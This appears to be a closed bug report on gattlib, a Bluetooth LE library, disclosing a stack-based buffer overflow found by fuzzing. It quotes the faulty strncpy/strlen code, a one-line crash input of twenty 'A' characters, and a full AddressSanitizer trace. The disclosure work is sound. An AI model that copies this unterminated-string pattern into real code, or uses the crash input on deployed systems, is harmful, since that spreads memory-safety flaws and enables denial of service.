Closed
Description
Hi Team,
Summary
While fuzzing gattlib using clang 6.0 with ASAN a stack-based buffer-overflow was observed in gattlib.c and notification.c
Vulnerable code from gattlib.c
// Transform string from 'DA:94:40:95:E0:87' to 'dev_DA_94_40_95_E0_87'
strncpy(device_address_str, dst, sizeof(device_address_str));
for (i = 0; i < strlen(device_address_str); i++) {
if (device_address_str[i] == ':') {
device_address_str[i] = '_';
}
}Vulnerable code from notification.c
connection = gattlib_connect(NULL, argv[1], BDADDR_LE_PUBLIC, BT_SEC_LOW, 0, 0);
if (connection == NULL) {
fprintf(stderr, "Fail to connect to the bluetooth device.\n");
return 1;
}Also, I have figured a simple way to reproduce this rather than using AFL poc in this case.
./discover `python -c 'print "A"*20'
ASAN
==31731==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffe493cb54 at pc 0x00000044dfc4 bp 0x7fffe493caf0 sp 0x7fffe493c2a0
READ of size 21 at 0x7fffe493cb54 thread T0
#0 0x44dfc3 in __interceptor_strlen.part.30 (/home/zero/gattlib/build/examples/notification/notification+0x44dfc3)
#1 0x7f47f3d4369e in gattlib_connect /home/zero/gattlib/dbus/gattlib.c:224:18
#2 0x50c185 in main /home/zero/gattlib/examples/notification/notification.c:58:15
#3 0x7f47f21f9b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#4 0x41cb19 in _start (/home/zero/gattlib/build/examples/notification/notification+0x41cb19)
Address 0x7fffe493cb54 is located in stack of thread T0 at offset 84 in frame
#0 0x7f47f3d4356f in gattlib_connect /home/zero/gattlib/dbus/gattlib.c:209
This frame has 3 object(s):
[32, 40) 'error'
[64, 84) 'device_address_str' <== Memory access at offset 84 overflows this variable
[128, 228) 'object_path'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/zero/gattlib/build/examples/notification/notification+0x44dfc3) in __interceptor_strlen.part.30
Shadow bytes around the buggy address:
0x10007c91f910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007c91f920: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007c91f930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007c91f940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007c91f950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10007c91f960: f1 f1 f1 f1 00 f2 f2 f2 00 00[04]f2 f2 f2 f2 f2
0x10007c91f970: 00 00 00 00 00 00 00 00 00 00 00 00 04 f3 f3 f3
0x10007c91f980: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
0x10007c91f990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007c91f9a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007c91f9b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==31731==ABORTINGAlmost similar to #81 except we have used notification in this case.
Metadata
Metadata
Assignees
Labels
No labels